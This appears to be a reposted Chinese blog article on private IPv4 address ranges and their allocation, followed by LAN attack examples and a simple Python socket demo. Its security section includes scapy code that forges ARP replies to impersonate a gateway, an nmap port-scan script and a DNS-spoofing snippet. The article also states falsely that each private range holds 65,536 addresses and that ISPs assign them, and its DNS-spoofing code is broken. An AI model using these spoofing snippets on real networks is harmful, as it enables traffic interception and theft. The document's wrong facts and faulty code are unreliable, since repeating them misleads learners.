一、內網地址段概述
內網地址是指那些在Internet上不可達的地址,通常由Internet服務提供商指定。內網地址被用於機構內網路的通信,目的是為了保證網路安全和降低對Internet的流量影響。
IPv4內網地址範圍為以下三個段,每個段的大小為65,536個地址:
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
二、內網地址的分配
內網地址段由各ISP自行分配並管理,其中最常用的是由RFC 1918標準所指定的三個地址段。
以192.168.0.0/16為例,一般是按照子網掩碼的形式來進行分配的。例如:
192.168.1.0/24 //192.168.1.0~192.168.1.255
192.168.2.0/24 //192.168.2.0~192.168.2.255
192.168.3.0/24 //192.168.3.0~192.168.3.255
這種分配方式可以使同一網路內的設備進行IP地址的互通,同時節約IP地址資源。
三、內網地址的安全性問題
內網地址不向Internet開放,但這並不能保證內網的安全性。常見的攻擊方式包括:
1. ARP欺騙攻擊
ARP欺騙攻擊是利用ARP協議缺陷,偽造其他設備的MAC地址,以達到竊取數據或者干擾網路的目的。
# ARP欺騙攻擊代碼示例
# 發送ARP響應包
from scapy.all import *
arp = ARP(op=2,psrc="192.168.1.1",pdst="192.168.1.100",hwsrc="00:11:22:33:44:55",hwdst="BB:BB:BB:BB:BB:BB")
send(arp)
# 發送ARP請求包,獲取目標主機MAC地址
result = sr1(ARP(pdst="192.168.1.100"))
print(result[ARP].hwsrc)
2. 埠掃描攻擊
埠掃描攻擊是通過網路上的程序,對目標主機的開放埠進行掃描,以獲取其服務、系統、協議等信息,以備進一步攻擊。
# 掃描主機192.168.1.100的前1000個埠
import nmap
nm = nmap.PortScanner()
nm.scan('192.168.1.100', arguments='-p 1-1000')
for host in nm.all_hosts():
for proto in nm[host].all_protocols():
lport = sorted(nm[host][proto].keys())
for port in lport:
print('port: %s/%s' % (port, proto))
3. DNS欺騙攻擊
DNS欺騙攻擊利用DNS解析劫持,將用戶的請求導向制定的地址,以達到竊取信息、劫持會話等目的。
# DNS欺騙攻擊代碼示例
from scapy.all import *
domain_name = 'example.com'
victim_ip = '192.168.1.100'
dnsserver = '192.168.1.1'
fake_ip = '192.168.1.101'
dns = DNS(rd=1, qd=DNSQR(qname=domain_name))
fake_response = IP(dst=victim_ip, src=fake_ip) / UDP() / dns
send(fake_response)
四、內網地址的應用
內網地址在很多場景中都有應用,比如區域網內的伺服器、客戶端、路由器等設備之間互相通信,以及VPN等,在此不一一贅述。
舉個例子,使用Python的socket模塊,可以在區域網內實現簡單的TCP/UDP通信。
# Python TCP server
import socket
HOST = '192.168.1.100'
PORT = 8888
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
conn, addr = s.accept()
print('Connected by', addr)
while True:
data = conn.recv(1024)
if not data: break
conn.sendall(b'Hello, ' + data)
conn.close()
# Python TCP client
import socket
HOST = '192.168.1.100'
PORT = 8888
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(b'World')
data = s.recv(1024)
s.close()
print('Received', repr(data))
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/247778.html